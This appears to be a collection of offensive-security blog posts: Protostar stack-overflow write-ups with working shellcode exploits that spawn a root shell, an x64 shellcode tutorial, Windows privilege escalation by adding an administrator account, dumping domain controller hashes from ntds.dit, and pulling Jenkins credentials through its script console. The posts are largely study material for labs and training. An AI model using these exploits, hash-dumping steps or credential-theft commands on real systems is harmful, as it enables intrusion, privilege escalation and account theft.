Exploit Exercises — Protostar Stack 6
We can see the binary uses a function __builtin_return_address()
. This function returns the return address of the current function. Read more about it here.
The program looks almost like stack5
with a small difference:
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
If the return address starts with 0xff
of 0xbf
the program stops. Check the result of &
operation using python
:
$ python -c "print hex(0xffffffff & 0xbf000000)"
0xbf000000
$ python -c "print hex(0xbfffffff & 0xbf000000)"
0xbf000000
If we run gdb
and look at registers after execution of the program we see that 0xbf******
is simply stack addresses:
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6
...
(gdb) info registers
...
esp 0xbffff690 0xbffff690
ebp 0xbffff698 0xbffff698
...
That means that if the return address points to the stack, the program exits. That’s why we were told to use ret2libc
or ROP
. I have an article on this topic I will about it some time later. Actually, they didn’t mention one more way - jmp esp
technique. In this case, the return address (address of the gadget jmp esp
) will not be on the stack, it can be found anywhere, even in a shared library. Actually it semi-ROP technique and it’s pretty easy to do, so this is how I did this task.
To be a bit clearer I need to explain how it works.
Every function has an epilogue and a prologue. An epilogue looks like this:
push ebp
mov ebp, esp
It saves old ebp
and moves epb
“closer” to esp
(equal actually) so that a new function had a new stack base address.
A prologue looks like this:
mov esp, ebp
pop ebp
ret
It cleares local variables (vis mov esp, ebp
) and restores ebp
. When our program runs ret
instruction it already has esp
register restored. It will point to the return address on the stack. After ret
is executed, esp
register is reduced by 4 bytes (the size of the address in 32-bit system). So if our exploit looks like JUNK + RET + SHELLCODE
, esp
will point to the shellcode.
Now we need to find jmp esp
gadget. I’ll be using peda as it more informative than standard gdb
and has some other features.
I copied the executable file to my local machine to find offsets:
$ scp user@<ip>:/opt/protostar/bin/stack6 ./
From the command below we know that our stack has no NX bit set:
$ scanelf -e stack6
TYPE STK/REL/PTL FILE
ET_EXEC **RWX** --- RW- stack6
Additionally, you can install and run exectack
program:
$ sudo apt install execstack
$ execstack stack6
X stack6
That means that we can execute code from the stack.
Now we run gdb
and look for gadgets:
$ gdb stack6
...
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
0x804835e: leave; ret
0x80484f7: dec ecx; ret
0x8048453: pop ebp; ret
0x8048480: ror cl,1; ret
0x8048512: in eax,0x5d; ret
0x804857b: sbb al,0x24; ret
0x804857a: mov ebx,[esp]; ret
...
0x80484f4: enter 0xfffe,0xff; leave; ret
0x8048576: pop esi; pop edi; pop ebp; ret
--More--(25/85)
We see that there is no jmp esp
gadget, but the first one is ret
, and it looks promising. It is not on the stack and it will jump to the next address on the stack. If you use it, then our exploit should look like JUNK + ADDR_OF_GADGET + ADDR_OF_SHELLCODE + SHELLCODE
.
The address of the gadget ret
is 0x80484f9
Now we find offset before eip
like we did for stack5:
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/exploit.txt
$ gdb stack6
...
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Program received signal SIGSEGV, Segmentation fault.
**0x37634136** in ?? ()
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q **0x37634136**
[*] Exact match at offset **80**
So we need to rewrite 80 bytes. Now we can create our shellcode:
python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
Addresses in debugger might distiguish beacuse of environment variables. So we need to unset unneeded variables and run the program:
(gdb) show env
LINES=42
COLUMNS=71
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffbe4: 0xdb31c031
So the shellcode is at 0xbffffbe4
. Repalce AAAA
with this address. Don’t forget we are on little-endian machine:
python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
Run program with exploit.txt
as input and get root:
$ /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Also you can run exploit like this:
(python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"; cat;) | /opt/protostar/bin/stack6
Exploit Exercises — Protostar Stack 5
The first four levels of protostar were pretty straightforward and real bufferoverflows starts with the 5th. This is a description of how I completed it.
We have the following code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
It creates a buffer and reads into it using gets
. There’s a buffer overflow vulnerability here, because boundaries are not checked during reading into buffer
.
We begin exploitation by finding an offset to eip
. I used a script that generates a unique string, which we then pass to the executable:
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Now we generate a simple pattern.txt
file, containing generated pattern:
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/pattern.txt
Then we run stack5
in gdb
and use pattern.txt
as input:
$ gdb stack5
...
(gdb) r < /tmp/pattern.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/pattern.txt
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
It should segfault at 0x63413563
. Now we search for these bytes in the pattern:
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76
The output above means that we need to rewrite 76 bytes before rewriting eip
.
Now we generate our test exploit, which looks like JUNK + RET + NOPS + SHELLCODE
:
$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + 'SHELLCODE'" > /tmp/exploit.txt
We can see that our nops and SHELLCODE string are at 0xbffff6a0
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffff6a0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x4853 0x4c45 0x434c
0xbffff6b0: 0x444f 0x0045 0xffff 0xffff 0xeff4 0xb7ff 0x8232 0x0804
0xbffff6c0: 0x0001 0x0000 0xf700 0xbfff
I tried using shellcodes I found on shellstorm. It crashed at the point where it tried to read input. My guess is that bash/dash checks for this and just silently exits when something is wrong with stdin. So I used a shellcode from here. It reopens stdin
, so it should work fine.
So we modify exploit.txt
file with the correct return address and the shellcode.
$ python -c "print 'A'*76 + '\xa0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
After running stack5
with exploit.txt
as input inside gdb
we fall into sh
:
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Executing new program: /bin/dash
$
The exploit worked in gdb
, but when I tried to run it from my console it gave me segfault:
$ /opt/protostar/bin/stack5 < /tmp/exploit.txt
Segmentation fault
After a while, I found out that addresses inside and outside of gdb are different. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This artifact occurs because the operating system loader places both environment variables and program arguments before the beginning of the stack:
For example if we look at variables loaded in gdb
we see some artifacts:
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
LINES=24
COLUMNS=106
At the end, we can see two variable which is not common for normal execution. To match stacks, I just unset them using the following commands:
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
Now if we run our program in gdb
we got error like the previous one. It says we had wrong return address:
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Program received signal SIGSEGV, Segmentation fault.
0xbffff6bc in ?? ()
Now we needed to find the correct return address again. We generate new exploit.txt
with BBBB
instead of return address:
$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
Don’t forget to unset these environment variables:
(gdb) unset env LINES
(gdb) unset env COLUMNS
Run stack5
with our exploit.txt
file and examine stack after the program crashes:
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/10x $esp
0xbffff6c0: 0x90909090 0x90909090 0xc0319090 0x06b0db31
0xbffff6d0: 0x685380cd 0x7974742f 0x65642f68 0x31e38976
0xbffff6e0: 0x12b966c9 0xcd05b027
Our shellcode (which has nops at the beginning) starts at 0xbffff6c0
Thus this address is a return address we need.
There’s a difference between calling ./stac5k
and /path/to/stack5
: since argv[0]
holds the program exactly how you invoked it, you need to ensure equal invocation strings. gdb
uses absolute pathes for calling programs. That’s why you need to use /path/to/stack
.
Now we can run our exploit:
$ (python -c "print 'A'*76 + '\xc0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'";cat;) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
Writing Shellcode for Linux x64
To compile the shellcode, we need the compiler and linker. We will use nasm
and ld
. To test the shellcode, we will write a small program in C. To compile it we need a gcc
. For some tests, we need rasm2
, which is a part of the framework radare2. For the writing of auxiliary functions, we will use Python.
What’s new in x64?
x64 is an extension of Intel IA-32 architecture. The main distinguishing feature of this architecture is that it supports the 64-bit general-purpose registers, 64-bit arithmetic and logic operations on integers and 64-bit virtual addresses.
All the 32-bit general-purpose registers remain the same, but they also receive their extended versions: rax
, rbx
, rcx
, rdx
, rsi
, rdi
, rbp
, rsp
. In addition to these, there are several new general-purpose registers: r8
, r9
, r10
, r11
, r12
, r13
, r14
, r15
.
Since the addresses are now 64-bit, values on the stack may be 8 bytes long.
A new calling convention was introduced with 64-bit architecture. When you call the function each register is used for a specific purpose, namely:
- The first six integer arguments are passed via registers function
rdi
, rsi
, rdx
, rcx
, r8
and r9
;
- The rest of the parameters are passed through the stack;
- For the parameters passed in registers, the space is reserved on the stack;
- The result of the function is returned through register
rax
for integer types;
rbp
contains a pointer to the base of the stack;
rsp
contains a pointer to the top of the stack;
rsi
, rdi
used syscall
.
What is syscall
Syscall is a method that is used by user-mode code to interact with a Linux kernel. It is used for various tasks: IO operation, read/write files, opening/closing programs, working with memory and network, and so on. To perform syscall you need to:
- Download the appropriate function in the register
rax
;
- Load the input parameters in other registers;
- Call interruption with the number
0x80
(since kernel version 2.6, this is done just by calling syscall
).
Unlike Windows where you need to find the address of the required functions, in Linux everything is much simpler.
Syscall functions can be found here.
What is execve?
If you look at shellcodes here, you’ll see many of them use the function execve()
.
execve()
has the following prototype:
int execve(const char * filename, char * const argv[], char * const envp[]);
It calls the program filename
. filename
program can either be an executable binary or script that begins with the line #! interpreter [optional-arg]
.
argv[]
is a pointer to the array, and this is the argv []
, which we see in C, Python, etc.
envp[]
is a pointer to the array, describing the environment. In this case, not used, it will be set to null
.
Basic requirements
We are going to write a position-independent code so that our shellcode could run anywhere in the program. Position-independent code is a code that can be executed regardless of what address it is loaded on.
Shellcodes use functions like strcpy()
. These functions use the bytes 0x00
, 0x0A
, 0x0D
as separators (depending on the platform and a function). Therefore, it is better to avoid such values. Otherwise, a function can copy our shellcode incompletely. Consider the following example:
rasm2 -a x86 -b 64 'push 0x00'
6a00
As you can see, the code push 0x00
compiled into the following bytes 6a 00
. If we used this code, our shellcode would not have worked because function strcpy
would only copy bytes until 0x00
.
The shellcode can not use hardcoded addresses because we do not know these addresses in advance. For this reason, all addresses in the shellcode are obtained dynamically and stored on the stack.
Combining it all
The first step is to prepare options for the function execve()
and then properly arrange them on the stack. The function prototype will be:
execve("/bin/sh/", ["/bin/sh"], null);
The second parameter is an array of argv[]
. The first element of the array contains the path to the executable file.
The third parameter is the information about the environment, we do not need it, so it will be null
.
First, we obtain a zero byte. We can not use code like mov eax, 0x00
, because it leads to a null-byte code, so we use the following statement, which does the same thing:
xor rdx, rdx
We cab leave the value in register rdx
, since we need the null value as the end value of the third parameter and as a string terminator (null byte).
To invert the string and translates it to hex you can use this python function:
def rev_str(s):
rev = s[:: - 1]
return rev.encode("hex")
Call this function to /bin/sh
:
>>> rev.rev_str("/bin/sh")
'68732f6e69622f'
This string is 7 bytes long. Now, consider what would happen if we tried to put it into the stack:
rasm2 -a x86 -b 64 'mov rax, 68732f6e69622f; push rax'
48b82f62696e2f73680050
There is a zero byte that would break our shellcode. To avoid this, we can use the fact that Linux ignores successive slashes (e.g. /bin/sh
and/bin//sh
are the same thing).
>>> rev.rev_str("/bin//sh")
'68732f2f6e69622f'
Now, we have a string of 8 bytes. Let’s see what happens if we put it in the stack:
rasm2 -a x86 -b 64 'mov rax, 0x68732f2f6e69622f; push rax'
48b82f62696e2f2f736850
No zero bytes.
Then we look for information about the function execve()
. We need a function number that we put in the rax
. execve
has a number 59. Let’s see what registers are used by this function:
rdi
- stores the address of the string filename
rsi
- stores the address of the string argv
rdx
- stores the address of the string envp
Now, we assemble all the pieces together.
Push newline character (remember that all is done in reverse order):
xor rdx, rdx
push rdx
Push line /bin//sh
:
mov rax, 0x68732f2f6e69622f
push rax
We get the address of the string /bin//sh
from rsp
and immediately put it in rdi
:
mov rdi, rsp
The rsi
needs to contain a pointer to an array of strings. In our case, this array will contain only the path to the executable file, so it is enough to put the address that contains the address of the string (in C language, pointer to a pointer). We already have this address. It was saved in the register rdi
. The array must be terminated by argv
null-byte, which we stored in the register rdx
. So we can do:
push rdx
push rdi
mov rsi, rsp
Now rsi
indicates the address on the stack, which is a pointer to the string /bin//sh
.
Now we put the number of function execve()
in rax
:
xor rax, rax
mov al, 0x3b
We should have a file like this:
; runs /bin/sh
section .text
global _start
_start:
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall
Let’s compile and link it for x64. For this:
nasm -f elf64 example.asm
ld -m elf_x86_64 -s -o example example.o
Now, we can use objdump -d example
to see the resulting file:
Disassembly of section .text:
0000000000400080 <.text>:
400080: 48 31 d2 xor %rdx, %rdx
400083: 52 push %rdx
400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f, %rax
40008b: 2f 73 68 40008e: 50 push %rax
40008f: 48 89 e7 mov %rsp, %rdi
400092: 52 push %rdx
400093: 57 push %rdi
400094: 48 89 e6 mov %rsp, %rsi
400097: 48 31 c0 xor %rax, %rax
40009a: b0 3b mov $0x3b, %al
40009c: 0f 05 syscall
We can use the following Bash one-liner to get a shellcode like \x11\x22 ...
from the binary:
for i in `objdump -d example | tr '\t' '' | tr '' '\n' | egrep '^[0-9a-f]{2}$' '; do echo -n "\x $ i"; done
The result is:
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50
\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
Testing shellcode
We can use the following C program (replace the string SHELLCODE
with your shellcode) to test the shellcode,:
/* Shellcode test program */
char shellcode[] = "SHELLCODE";
int main () {
void(*f)() = (void(*)())shellcode; f(); return 0;
}
Then compile:
gcc -m64 -fno-stack-protector -z execstack -o shellcode_test shellcode_test.c
The resulting program is shellcode_test
. When you run the program, you should get sh
.
Windows Privelege Escalation via Token Kidnapping
If you have access to a server as nt authority\network service
(for example you uploaded ASP.NET shell) you can easily elevate your privileges to system.
You can download the binary here and compile it yourself, or you can use the one from sqlninja
, which is located at /usr/share/sqlninja/apps/churrasco.exe
. It is used by sqlninja
in cases when we bruteforce sa
password.
After uploading this binary to the server, you can elevate your privileges by using this command:
churrasco.bin "net user oscp oscp /add && net localgroup Administrators oscp /add"
Then you can create admin account.
You can read about this vulnerability on Microsoft website.
This security update is rated Important for all supported editions of Microsoft Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows Server 2008.
Getting Password Hashes from Domain Controller
There are two ways to get hashes from a remote server:
- You can inject some malicious code into
lsass.exe
process and then go through process memory to get hashes;
- You can get the database with which
lsass.exe
syncs and get hashes from it.
This post is about the second option.
User current password hashes as well as old password hashes are stored in ntds.dit
file. This file is located at C:\Windows\NTDS
by default (sometimes not).
File ntds.dit
is a database file. A part of it (the most frequently used) is in the memory. lsass.exe
can request this file if it needs to. If there are some changes, for example a password changed, lsass.exe
pushes the changes into a log file, and then this file is copied into ntds.dit
.
File ntds.dit
consists of three tables and stores information about domain users. The file is locked by the operating system. To access it, we need to create a shadow copy of C:
volume first. To do so we can use a standard windows utility — Volume Shadow Copy Service or VSS that is used for backups:
vssadmin.exe create shadow /for=C:
It will create a copy of volume C:
. It is not locked so we can access files on it. Then we need to copy two files:
copy \\?\GLOBALROOT\Device\Harddisk...Copy1\Windows\NTDS\ntds.dit C:\
copy \\?\GLOBALROOT\Device\Harddisk...Copy1\Windows\system32\config\system
In order to decrypt hashes from ntds.dit
we need to do the following:
- Decrypt the PEK with
bootkey
(RC4);
- First round of hash decryption (with PEK and RC4);
- Second round of hash decryption (DES)
PEK is used to encrypt data in ntds.dit
. This key is the same within a whole domain so it’s the same on every domain controller. PEK is stored in ntds.dit
and encrypted by bootkey
. bootkey
can be collected from SYSTEM registry hive and it is different on all domain controllers.
I used secretdump.py
, which is a part of impacket
, to extract hashes automatically:
secretsdump.py -system system -ntds ntds.dit LOCAL -outputfile dump
If you want to dump password history use -history
flag.
It is slow in the beginning, but eventually we will get three dump files: the files with plain text passwords, the file with NT/LM hashes and the file with Kerberos hashes.
aad3b435b51404eeaad3b435b51404ee
in a column of the NTLM file indicates that there’s no LM hash and there’s only NTLM hash.
Getting Credentials from Unprotected Jenkins
Jenkins is a Continuous Integration server. Continuous Integration is the practice of running tests on a non-developer machine automatically every time someone pushes new code into the source repository.
Sometimes you can find Jenkins that is not password protected. This is dangerous because Jenkin instances have /script
endpoing. This endpoint contains a textbox where you can paste a Groovy script. Groovy is a kind of a scripting language for Java.
Using the following Groovy code, you can get a list of files in /
directory:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ls'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "$sout"
You can read /etc/passwd
to find jenkins
home directory. In most cases it is /var/lib/jenkins/
.
There are 3 important files in Jenkins:
├── credentials.xml
├── secret.key
├── secret.key.not-so-secret
├── secrets
│ ├── hudson.util.Secret
│ └── master.key
...
Jenkins stores user credentials in credentials.xml
encrypted. File master.key
is used to encrypt hudson.util.Secret
key, which in turn encrypts passwords in credentials.xml
. Read about how it works here.
You can use /userContent
endpoint to get these files from the server. This endpoint in linked to /var/lib/jenkins/
. For decryption, use this script.
Writing JIT-spray Exploit
This is not a full guide. This is a small addition to “Writing JIT shellcode for fun and profit” article written by Alexey Sintsov. If you want to know how it works, it is better to start from there. It has complete description and you should be able to follow it step by step.
Environment
- Windows XP SP3 or Windows 7 SP1
- IE 8.0
- Adobe FlashPlayer ActiveX 9
- SWFTools to compile ActiveScript code.
emsmtp.dll
6.0.1 in the Quiksoft EasyMail SMTP Object (to find vulnerable version of this library was the hardest part)
Description
First, we need find address of the function we are going to call later. In my case it’s system(). To find it we look at pep and get address of a loaded dll with this function, then we look for system() and get its address. After that, we can push vars (name of the function to be called). In my case, it was ‘notepad’. The stack was like:
push "eton"
push "dap"
We should use an exploit to run our ActiveX. I used vulnerability in emsmtp.dll
. Make sure that version of the library you have is 6.0.1. We rewrite a return address or (in my case I rewrote SEH because it was easier for me).
However it didn’t work first. The main problem was that the address of the memory where we are supposed to jump was wrong. I needed to use mona — an extension for Immunity Debugger.
There’re also these useful commands:
!mona pc 14356
!mona findmsp
!mona find -s "123"
Working exploit you can find in my repo.